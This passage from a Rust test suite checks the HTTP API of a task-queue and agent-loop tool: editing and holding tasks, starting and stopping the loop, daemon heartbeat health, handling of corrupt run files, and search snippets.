13992 TaskStatus::Blocked,
13993 TaskStatus::Parked,
13994 ] {
13995 let mut stored = q.get(&t.id).unwrap();
13996 stored.status = status;
13997 q.put(&mut stored).unwrap();
13998 assert_eq!(
13999 change(serde_json::json!(4)).await.err().unwrap().status,
14000 StatusCode::BAD_REQUEST
14001 );
14002 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14003 }
14004 let mut stored = q.get(&t.id).unwrap();
14005 stored.status = TaskStatus::Queued;
14006 q.put(&mut stored).unwrap();
14007 let _ = change(serde_json::Value::Null).await.unwrap();
14008 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14009 }
14010
14011 #[tokio::test]
14012 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14013 let dir = TempDir::new().unwrap();
14014 let repo = dir.path().join("repo");
14015 std::fs::create_dir(&repo).unwrap();
14016 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14017 let q = Queue::at(dir.path().join("queue"));
14018 let ui = Arc::new(Ui::new(
14019 q.clone(),
14020 Questions::at(dir.path().join("questions")),
14021 Talks::at(dir.path().join("talks")),
14022 dir.path().join("runs"),
14023 dir.path().to_path_buf(),
14024 repo.clone(),
14025 ));
14026 let mut t = Task::new(
14027 "seats".into(),
14028 "keep instruction".into(),
14029 repo,
14030 Source::Human,
14031 );
14032 t.runs.push("prior-run".into());
14033 t.hold_manual(Some("waiting".into()));
14034 q.put(&mut t).unwrap();
14035 let change = |count| {
14036 queue_implementers(
14037 State(ui.clone()),
14038 Path(t.id.clone()),
14039 Ok(Json(ImplementersBody {
14040 implementers: count,
14041 })),
14042 )
14043 };
14044 for count in [2, 1, 2] {
14045 let response = change(count).await.unwrap();
14046 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14047 let saved = q.get(&t.id).unwrap();
14048 assert_eq!(saved.implementers(), Some(usize::from(count)));
14049 assert_eq!(saved.runs, t.runs);
14050 assert_eq!(saved.instruction, t.instruction);
14051 }
14052 for count in [0, 4] {
14053 assert_eq!(
14054 change(count).await.err().unwrap().status,
14055 StatusCode::BAD_REQUEST
14056 );
14057 }
14058 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14059 let claim = q.claim(&t.id).unwrap();
14060 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14061 drop(claim);
14062 for status in [
14063 TaskStatus::Running,
14064 TaskStatus::Done,
14065 TaskStatus::Failed,
14066 TaskStatus::Blocked,
14067 TaskStatus::Parked,
14068 ] {
14069 let mut stored = q.get(&t.id).unwrap();
14070 stored.status = status;
14071 q.put(&mut stored).unwrap();
14072 assert_eq!(
14073 change(1).await.err().unwrap().status,
14074 StatusCode::BAD_REQUEST
14075 );
14076 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14077 }
14078 }
14079
14080 #[tokio::test]
14081 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14082 let f = Fixture::start().await;
14083 let queue = f.queue();
14084 let mut task = Task::new(
14085 "in flight".to_owned(),
14086 "x".to_owned(),
14087 PathBuf::from("/repo/magi"),
14088 Source::Human,
14089 );
14090 task.start("20260902-140502-bbbb".to_owned());
14091 queue.put(&mut task).expect("file the task");
14092
14093 let res = f
14094 .post(
14095 &format!("/api/queue/{}/priority", task.id),
14096 Some(r#"{"priority":9}"#),
14097 )
14098 .await;
14099 assert_eq!(res.status, 400, "{}", res.body);
14100 assert!(
14101 res.json()["error"]
14102 .as_str()
14103 .is_some_and(|e| e.contains("running")),
14104 "{}",
14105 res.body
14106 );
14107 assert_eq!(
14108 queue.get(&task.id).expect("reload").priority,
14109 0,
14110 "the refused write must not partially apply"
14111 );
14112 }
14113
14114 #[tokio::test]
14115 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14116 let f = Fixture::start().await;
14117 let queue = f.queue();
14118 let mut task = Task::new(
14119 "old title".to_owned(),
14120 "old instruction".to_owned(),
14121 PathBuf::from("/repo/magi"),
14122 Source::Agent {
14123 run: "20260101-000000-beef".to_owned(),
14124 node: "implement".to_owned(),
14125 },
14126 );
14127 task.runs.push("20260101-000000-beef".to_owned());
14128 queue.put(&mut task).expect("file the task");
14129 let created_at = task.created_at;
14130
14131 let edited = f
14132 .post(
14133 &format!("/api/queue/{}/edit", task.id),
14134 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14135 )
14136 .await;
14137 assert_eq!(edited.status, 200, "{}", edited.body);
14138 let body = edited.json();
14139 assert_eq!(body["title"], "new title");
14140 assert_eq!(body["instruction"], "new instruction");
14141 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14142 assert_eq!(body["created_at"], created_at.to_string());
14143 assert_eq!(
14144 body["source"]["kind"], "agent",
14145 "editing a task an agent filed must not turn it human: {body}"
14146 );
14147 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14148
14149 let reloaded = queue.get(&task.id).expect("reload");
14150 assert_eq!(reloaded.title, "new title");
14151 assert_eq!(reloaded.instruction, "new instruction");
14152 }
14153
14154 #[tokio::test]
14155 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14156 let tmp = TempDir::new().expect("tempdir");
14159 let repo = tmp.path().join("repo");
14160 std::fs::create_dir_all(&repo).expect("repo dir");
14161 let judge = MOCK_AGENT_TOML.replace(
14162 "printf ok",
14163 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
14164 );
14165 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
14166 let f = Fixture::with_repo(repo.clone()).await;
14167 let queue = f.queue();
14168 let mut owner = Task::new(
14169 "owner".to_owned(),
14170 "review it".to_owned(),
14171 repo.clone(),
14172 Source::Human,
14173 );
14174 owner.review_branch = Some("magi/ab12/A".to_owned());
14175 queue.put(&mut owner).expect("file the owner");
14176 let mut task = Task::new(
14177 "draft".to_owned(),
14178 "old".to_owned(),
14179 repo.clone(),
14180 Source::Human,
14181 );
14182 queue.put(&mut task).expect("file the draft");
14183 let url = format!("/api/queue/{}/edit", task.id);
14184
14185 let refused = f
14186 .post(
14187 &url,
14188 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
14189 )
14190 .await;
14191 assert_eq!(refused.status, 409, "{}", refused.body);
14192 let msg = refused.json()["error"]
14193 .as_str()
14194 .unwrap_or_default()
14195 .to_owned();
14196 assert!(
14197 msg.contains("magi/ab12/A") && msg.contains("force"),
14198 "{msg}"
14199 );
14200 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
14201
14202 let forced = f
14203 .post(
14204 &url,
14205 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
14206 )
14207 .await;
14208 assert_eq!(forced.status, 200, "{}", forced.body);
14209 }
14210
14211 #[tokio::test]
14212 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
14213 let f = Fixture::start().await;
14214 let queue = f.queue();
14215 let mut task = Task::new(
14216 "in flight".to_owned(),
14217 "do not touch".to_owned(),
14218 PathBuf::from("/repo/magi"),
14219 Source::Human,
14220 );
14221 task.start("20260902-140502-bbbb".to_owned());
14222 queue.put(&mut task).expect("file the task");
14223
14224 let res = f
14225 .post(
14226 &format!("/api/queue/{}/edit", task.id),
14227 Some(r#"{"title":"x","instruction":"y"}"#),
14228 )
14229 .await;
14230 assert_eq!(res.status, 400, "{}", res.body);
14231 assert!(
14232 res.json()["error"]
14233 .as_str()
14234 .is_some_and(|e| e.contains("running")),
14235 "{}",
14236 res.body
14237 );
14238 assert_eq!(
14239 queue.get(&task.id).expect("reload").instruction,
14240 "do not touch",
14241 "the refused edit must not change the file"
14242 );
14243 }
14244
14245 #[tokio::test]
14246 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14247 let f = Fixture::start().await;
14248 let queue = f.queue();
14249 let mut task = Task::new(
14250 "busy".to_owned(),
14251 "Running right now".to_owned(),
14252 PathBuf::from("/repo/magi"),
14253 Source::Human,
14254 );
14255 queue.put(&mut task).expect("file the task");
14256 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14257
14258 let priority = f
14259 .post(
14260 &format!("/api/queue/{}/priority", task.id),
14261 Some(r#"{"priority":9}"#),
14262 )
14263 .await;
14264 assert_eq!(priority.status, 409, "{}", priority.body);
14265
14266 let edit = f
14267 .post(
14268 &format!("/api/queue/{}/edit", task.id),
14269 Some(r#"{"title":"x","instruction":"y"}"#),
14270 )
14271 .await;
14272 assert_eq!(edit.status, 409, "{}", edit.body);
14273 }
14274
14275 #[tokio::test]
14276 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14277 let f = Fixture::start().await;
14278 let queue = f.queue();
14279 let mut task = Task::new(
14280 "shipped by hand".to_owned(),
14281 "merged outside the loop".to_owned(),
14282 PathBuf::from("/repo/magi"),
14283 Source::Agent {
14284 run: "20260101-000000-b455".to_owned(),
14285 node: "implement".to_owned(),
14286 },
14287 );
14288 task.runs.push("20260101-000000-b455".to_owned());
14289 task.runs.push("20260101-000000-9af4".to_owned());
14290 queue.put(&mut task).expect("file the task");
14291 let created_at = task.created_at;
14292
14293 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14294 assert_eq!(done.status, 200, "{}", done.body);
14295 assert_eq!(done.json()["status_str"], "done");
14296
14297 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14298 assert_eq!(
14299 reloaded.runs,
14300 ["20260101-000000-b455", "20260101-000000-9af4"]
14301 );
14302 assert_eq!(
14303 reloaded.source,
14304 Source::Agent {
14305 run: "20260101-000000-b455".to_owned(),
14306 node: "implement".to_owned(),
14307 }
14308 );
14309 assert_eq!(reloaded.created_at, created_at);
14310 }
14311
14312 #[tokio::test]
14313 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14314 let f = Fixture::start().await;
14319 let queue = f.queue();
14320 let mut task = Task::new(
14321 "landed while held".to_owned(),
14322 "x".to_owned(),
14323 PathBuf::from("/repo/magi"),
14324 Source::Human,
14325 );
14326 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14327 queue.put(&mut task).expect("file the held task");
14328
14329 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14330 assert_eq!(done.status, 200, "{}", done.body);
14331 assert_eq!(done.json()["status_str"], "done");
14332 assert!(
14333 done.json()["hold_reason"].is_null(),
14334 "a done task cannot still be waiting on something: {}",
14335 done.body
14336 );
14337 }
14338
14339 #[tokio::test]
14340 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14341 let f = Fixture::start().await;
14346 let queue = f.queue();
14347 let runs = f.runs();
14348 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14349 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14353
14354 let mut task = Task::new(
14355 "landed by hand".to_owned(),
14356 "x".to_owned(),
14357 PathBuf::from("/repo/magi"),
14358 Source::Human,
14359 );
14360 task.runs.push("20260101-000000-doa1".to_owned());
14361 task.runs.push("20260101-000000-doa2".to_owned());
14362 queue.put(&mut task).expect("file the task");
14363
14364 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14365 assert_eq!(done.status, 200, "{}", done.body);
14366
14367 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14368 .expect("run still on disk under this fixture's own home");
14369 assert_eq!(
14370 reloaded_run.status,
14371 RunStatus::Superseded,
14372 "closing the task by hand must relabel the earlier blocked attempt exactly \
14373 like the loop's own settle path does"
14374 );
14375 }
14376
14377 #[tokio::test]
14378 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14379 let f = Fixture::start().await;
14384 let queue = f.queue();
14385 let runs = f.runs();
14386 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14387 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14388
14389 let mut task = Task::new(
14390 "closed with nothing actually landed".to_owned(),
14391 "x".to_owned(),
14392 PathBuf::from("/repo/magi"),
14393 Source::Human,
14394 );
14395 task.runs.push("20260101-000000-dob1".to_owned());
14396 task.runs.push("20260101-000000-dob2".to_owned());
14397 queue.put(&mut task).expect("file the task");
14398
14399 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14400 assert_eq!(done.status, 200, "{}", done.body);
14401
14402 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14403 .expect("run still on disk under this fixture's own home");
14404 assert_eq!(
14405 reloaded_run.status,
14406 RunStatus::Blocked,
14407 "the last recorded attempt never landed, so the earlier one must not be \
14408 relabelled as superseded by it"
14409 );
14410 }
14411
14412 #[tokio::test]
14413 async fn unknown_ids_are_json_not_found_on_both_stores() {
14414 let f = Fixture::start().await;
14415
14416 let run = f.get("/api/runs/nosuchrun").await;
14417 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14418
14419 assert_eq!(run.status, 404);
14420 assert_eq!(task.status, 404);
14421 assert!(
14422 run.json()["error"]
14423 .as_str()
14424 .is_some_and(|e| e.contains("run")),
14425 "the error names what was not found: {}",
14426 run.body
14427 );
14428 assert!(
14429 task.json()["error"]
14430 .as_str()
14431 .is_some_and(|e| e.contains("task")),
14432 "the error names what was not found: {}",
14433 task.body
14434 );
14435 }
14436
14437 #[tokio::test]
14438 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
14439 let f = Fixture::start().await;
14440
14441 let missing = f.get("/api/health").await.json();
14442 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
14443
14444 write_daemon(
14445 f.home.path(),
14446 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14447 );
14448 let stale = f.get("/api/health").await.json();
14449 assert_eq!(
14450 stale["daemon"]["running"], false,
14451 "a minute without a heartbeat is a dead daemon, not a busy one"
14452 );
14453 assert!(
14454 stale["daemon"]["stale_for_secs"]
14455 .as_i64()
14456 .is_some_and(|s| s >= 55),
14457 "staleness is reported so the UI can say how long: {stale}"
14458 );
14459
14460 write_daemon(f.home.path(), Timestamp::now());
14461 let fresh = f.get("/api/health").await.json();
14462 assert_eq!(fresh["daemon"]["running"], true);
14463 assert_eq!(fresh["daemon"]["idle"], false);
14464 assert_eq!(fresh["daemon"]["pid"], 4242);
14465 assert_eq!(fresh["daemon"]["completed"], 7);
14466 assert_eq!(
14467 fresh["daemon"]["current"][0]["task"],
14468 "20260902-140501-aaaa"
14469 );
14470 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
14471 }
14472
14473 #[tokio::test]
14474 async fn the_loop_is_not_running_until_something_starts_it() {
14475 let f = Fixture::start().await;
14476
14477 let view = f.get("/api/loop").await.json();
14478 assert_eq!(view["running"], false);
14479 assert_eq!(
14480 view["owned"], false,
14481 "nobody owns a loop that does not exist: {view}"
14482 );
14483 assert_eq!(view["stopping"], false);
14484 assert_eq!(view["last_error"], Value::Null);
14485 assert_eq!(view["daemon"]["running"], false);
14486 assert_eq!(
14487 view["repo"], "/repo/magi",
14488 "the repository a start would use, named before it is started"
14489 );
14490 }
14491
14492 #[tokio::test]
14493 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
14494 let f = Fixture::start().await;
14495
14496 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14497 assert_eq!(res.status, 200, "{}", res.body);
14498 let view = res.json();
14499 assert_eq!(view["running"], true);
14500 assert_eq!(
14501 view["owned"], true,
14502 "the loop the UI started is the UI's own to stop: {view}"
14503 );
14504 assert_eq!(
14505 view["merge"],
14506 Value::Null,
14507 "no override was given, so each repository's own config decides"
14508 );
14509
14510 let health = f.get("/api/health").await.json();
14514 assert_eq!(health["loop"]["running"], true, "{health}");
14515 assert_eq!(health["loop"]["owned"], true, "{health}");
14516
14517 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14518 }
14519
14520 #[tokio::test]
14521 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
14522 let f = Fixture::start().await;
14523 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14524 assert_eq!(first.status, 200, "{}", first.body);
14525
14526 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14527 assert_eq!(
14528 again.status, 409,
14529 "two loops on one queue race for the same claims: {}",
14530 again.body
14531 );
14532 assert!(
14533 again.json()["error"]
14534 .as_str()
14535 .is_some_and(|e| e.contains("already running the loop")),
14536 "the refusal has to say why: {}",
14537 again.body
14538 );
14539 assert_eq!(
14540 f.get("/api/loop").await.json()["running"],
14541 true,
14542 "and the loop that was already running is untouched by it"
14543 );
14544
14545 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14546 }
14547
14548 #[tokio::test]
14549 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14550 let f = Fixture::start().await;
14551 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14552
14553 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14554 assert_eq!(
14555 res.status, 200,
14556 "the answer must not wait for the loop: a run in flight is tens of \
14557 minutes and the operator is holding a phone: {}",
14558 res.body
14559 );
14560
14561 let view = settled(&f, |v| v["running"] == false).await;
14562 assert_eq!(view["owned"], false);
14563 assert_eq!(
14564 view["stopping"], false,
14565 "a loop that has stopped is not still stopping: {view}"
14566 );
14567 assert_eq!(
14568 view["last_error"],
14569 Value::Null,
14570 "a loop that was asked to stop did not fail: {view}"
14571 );
14572
14573 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14576 assert_eq!(twice.status, 200, "{}", twice.body);
14577 }
14578
14579 #[tokio::test]
14580 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14581 let f = Fixture::start().await;
14582 write_daemon(f.home.path(), Timestamp::now());
14585
14586 let view = f.get("/api/loop").await.json();
14587 assert_eq!(view["running"], false, "not in this process: {view}");
14588 assert_eq!(view["owned"], false, "and not this process's to control");
14589 assert_eq!(
14590 view["daemon"]["running"], true,
14591 "but a loop is alive somewhere, which is what the UI must say"
14592 );
14593 assert_eq!(view["daemon"]["pid"], 4242);
14594
14595 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14596 let res = f.post("/api/loop", Some(body)).await;
14597 assert_eq!(
14598 res.status, 409,
14599 "neither button may pretend to work on someone else's loop: {}",
14600 res.body
14601 );
14602 assert!(
14603 res.json()["error"]
14604 .as_str()
14605 .is_some_and(|e| e.contains("4242")),
14606 "the refusal has to name the process the operator must go to: {}",
14607 res.body
14608 );
14609 }
14610 assert_eq!(
14611 f.get("/api/loop").await.json()["running"],
14612 false,
14613 "and the refusal started nothing"
14614 );
14615 }
14616
14617 #[tokio::test]
14618 async fn a_stale_status_file_is_not_a_foreign_owner() {
14619 let f = Fixture::start().await;
14620 write_daemon(
14621 f.home.path(),
14622 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14623 );
14624
14625 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14626 assert_eq!(
14627 res.status, 200,
14628 "a daemon killed a minute ago must not lock the loop out of its \
14629 own home for good: {}",
14630 res.body
14631 );
14632 assert_eq!(res.json()["running"], true);
14633
14634 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14635 }
14636
14637 #[tokio::test]
14638 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14639 let f = Fixture::start().await;
14640 let before = f.get("/api/health").await.json()["loop_rev"]
14641 .as_u64()
14642 .expect("a loop revision");
14643
14644 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14645
14646 let after = f.get("/api/health").await.json()["loop_rev"]
14647 .as_u64()
14648 .expect("a loop revision");
14649 assert!(
14650 after > before,
14651 "the loop is in-process state, so this counter is the only thing \
14652 that tells a second device the first one started it: {before} -> \
14653 {after}"
14654 );
14655
14656 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14657 }
14658
14659 #[tokio::test]
14660 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14661 let f = Fixture::with_loop(launch_broken).await;
14662
14663 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14664 assert_eq!(
14665 res.status, 200,
14666 "starting it is not the failure: {}",
14667 res.body
14668 );
14669
14670 let view = settled(&f, |v| v["last_error"].is_string()).await;
14671 assert_eq!(
14672 view["running"], false,
14673 "a loop that died must not read as running, or the operator has \
14674 nothing to press: {view}"
14675 );
14676 assert_eq!(view["owned"], false);
14677 assert!(
14678 view["last_error"]
14679 .as_str()
14680 .is_some_and(|e| e.contains("read-only file system")),
14681 "the phone is where a loop that died at 3am is visible: {view}"
14682 );
14683
14684 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14687 assert_eq!(again.status, 200, "{}", again.body);
14688 assert!(
14689 again.json()["last_error"]
14690 .as_str()
14691 .is_none_or(|e| !e.contains("read-only file system")),
14692 "a fresh start does not keep showing why the last one died: {}",
14693 again.body
14694 );
14695 }
14696
14697 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14709 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14710 let home = TempDir::new().expect("temp home");
14711 let runs = home.path().join("runs");
14712 std::fs::create_dir_all(&runs).expect("runs dir");
14713 let ui = Ui::new(
14714 Queue::at(home.path().join("queue")),
14715 Questions::at(home.path().join("questions")),
14716 Talks::at(home.path().join("talks")),
14717 runs,
14718 home.path().to_path_buf(),
14719 PathBuf::from("/repo/magi"),
14720 )
14721 .with_worktrees_root(home.path().join("wt"))
14722 .with_launch(launch_knocking_on_the_way_out);
14723 let looping = ui.looping();
14724 let turns = ui.turns();
14725 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14726 .await
14727 .expect("bind loopback");
14728 let addr = listener.local_addr().expect("local addr");
14729 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14730 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14731
14732 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
14733 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
14734
14735 let bound = std::sync::Mutex::new(None);
14750 hand_over(
14751 home.path(),
14752 &looping,
14753 &turns,
14754 &|_: &[String]| Duration::from_secs(5),
14755 served,
14756 |_| {
14757 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
14758 let attempt = loop {
14759 match std::net::TcpListener::bind(addr) {
14760 Ok(l) => {
14761 drop(l);
14762 break Ok(());
14763 }
14764 Err(e)
14765 if e.kind() == std::io::ErrorKind::AddrInUse
14766 && std::time::Instant::now() < deadline =>
14767 {
14768 std::thread::sleep(std::time::Duration::from_millis(10));
14769 }
14770 Err(e) => break Err(e.to_string()),
14771 }
14772 };
14773 *bound.lock().expect("bound") = Some(attempt);
14774 Ok(1)
14775 },
14776 )
14777 .await
14778 .expect("hand over");
14779
14780 assert_eq!(
14781 *PARK_HEARD.lock().expect("park heard"),
14782 Some(200),
14783 "the deck must answer while the loop is parking"
14784 );
14785 let attempt = bound
14786 .lock()
14787 .expect("bound")
14788 .take()
14789 .expect("the successor was started");
14790 assert!(
14791 attempt.is_ok(),
14792 "and the address must be free by the time it is: {attempt:?}"
14793 );
14794 }
14795
14796 #[tokio::test]
14797 async fn a_newer_daemon_status_file_still_renders() {
14798 let f = Fixture::start().await;
14799 std::fs::write(
14802 f.home.path().join("daemon.json"),
14803 serde_json::json!({
14804 "schema": 2,
14805 "updated_at": Timestamp::now().to_string(),
14806 "idle": true,
14807 "surprise": { "nested": [1, 2, 3] },
14808 })
14809 .to_string(),
14810 )
14811 .expect("write daemon.json");
14812
14813 let health = f.get("/api/health").await;
14814
14815 assert_eq!(health.status, 200);
14816 assert_eq!(health.json()["daemon"]["running"], true);
14817 }
14818
14819 #[tokio::test]
14820 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
14821 let f = Fixture::start().await;
14822 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
14823 let broken = f.runs().join("20260902-140502-bad");
14824 std::fs::create_dir_all(&broken).expect("run dir");
14825 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
14826
14827 let list = f.get("/api/runs").await;
14828 let detail = f.get("/api/runs/20260902-140502-bad").await;
14829
14830 assert_eq!(list.status, 200);
14831 let listed = list.json();
14832 let ids: Vec<&str> = listed
14833 .as_array()
14834 .expect("an array")
14835 .iter()
14836 .map(|r| r["id"].as_str().expect("an id"))
14837 .collect();
14838 assert_eq!(
14839 ids,
14840 vec!["20260902-140501-good"],
14841 "one unreadable run must not cost the operator the whole history"
14842 );
14843 assert_eq!(detail.status, 500);
14844 assert!(
14845 detail.json()["error"]
14846 .as_str()
14847 .is_some_and(|e| e.contains("run.json")),
14848 "the failure names the file to look at: {}",
14849 detail.body
14850 );
14851 let health = f.get("/api/health").await;
14855 assert_eq!(health.json()["runs_unreadable"], 1);
14856 }
14857
14858 #[tokio::test]
14860 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
14861 let f = Fixture::start().await;
14862 let runs = f.runs();
14863 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
14864 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
14865 let path = runs.join("20260902-140502-bbbb").join("run.json");
14868 let mut v: serde_json::Value =
14869 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14870 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
14871 std::fs::write(&path, v.to_string()).unwrap();
14872 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
14873 std::fs::write(
14874 runs.join("20260902-140503-cccc").join("run.json"),
14875 "{ not json",
14876 )
14877 .unwrap();
14878
14879 let res = f.get("/api/search?scope=runs&q=quokka").await;
14880 assert_eq!(res.status, 200, "{}", res.body);
14881 let v = res.json();
14882 assert_eq!(v["total"], 1, "{v}");
14883 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
14884 assert_eq!(v["hits"][0]["field"], "text");
14885 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
14886 let parts = v["hits"][0]["snippet"].as_array().unwrap();
14887 assert!(
14888 parts
14889 .iter()
14890 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
14891 "{v}"
14892 );
14893 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
14894 assert_eq!(
14895 flat, "The Quokka leaks across threads",
14896 "whitespace is collapsed"
14897 );
14898
14899 let both = f
14901 .get("/api/search?scope=runs&q=MOBILE%20quokka")
14902 .await
14903 .json();
14904 assert_eq!(both["total"], 1, "{both}");
14905 let neither = f
14906 .get("/api/search?scope=runs&q=quokka%20zebra")
14907 .await
14908 .json();
14909 assert_eq!(neither["total"], 0, "{neither}");
14910 let stmt = f
14912 .get("/api/search?scope=runs&q=mobile%20first")
14913 .await
14914 .json();
14915 assert_eq!(stmt["total"], 2, "{stmt}");
14916 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
14917 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
14918 }
14919
14920 #[test]
14921 fn snippet_ignores_terms_longer_than_the_field() {
14922 let terms = ["ok".to_owned(), "elephant".to_owned()];
14923 let parts = snippet_of("ok", &terms);
14924 assert_eq!(
14925 parts,
14926 vec![SnippetPart {
14927 text: "ok".to_owned(),
14928 hit: true
14929 }]
14930 );
14931 }
14932
14933 #[test]
14934 fn snippet_marks_matches_longer_than_the_window() {
14935 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
14936 let hit_len = |parts: &[SnippetPart]| -> usize {
14937 parts
14938 .iter()
14939 .filter(|p| p.hit)
14940 .map(|p| p.text.chars().count())
14941 .sum()
14942 };
14943 let total =
14944 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
14945
14946 let long = "a".repeat(120);
14947 let parts = snippet_of(&long, std::slice::from_ref(&long));
14948 assert!(hit_len(&parts) > 0, "{parts:?}");
14949 assert!(total(&parts) <= cap);
14950
14951 let ja = "あ".repeat(130);
14952 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
14953 assert!(hit_len(&parts) > 0, "{parts:?}");
14954 assert!(total(&parts) <= cap);
14955
14956 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
14958 let term = format!("ab{}", "c".repeat(100));
14959 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
14960 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
14961 assert!(total(&parts) <= cap);
14962
14963 let text = format!("{}z", "a".repeat(119));
14965 let parts = snippet_of(&text, &["a".repeat(120)]);
14966 assert_eq!(hit_len(&parts), 0, "{parts:?}");
14967 }
14968
14969 #[tokio::test]
14970 async fn search_caps_hits_and_snippet_length() {
14971 let f = Fixture::start().await;
14972 let runs = f.runs();
14973 for n in 0..(SEARCH_MAX_HITS + 5) {
14974 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
14975 }
14976 let v = f.get("/api/search?scope=runs&q=web").await.json();
14977 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
14978 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
14979 assert_eq!(v["truncated"], true);
14980 assert!(
14982 v["hits"]
14983 .as_array()
14984 .unwrap()
14985 .iter()
14986 .all(|h| h["run"]["status"] == "merged")
14987 );
14988
14989 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
14990 let parts = snippet_of(&long, &["needle".to_owned()]);
14991 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
14992 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
14993 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
14994 }
14995
14996 #[tokio::test]
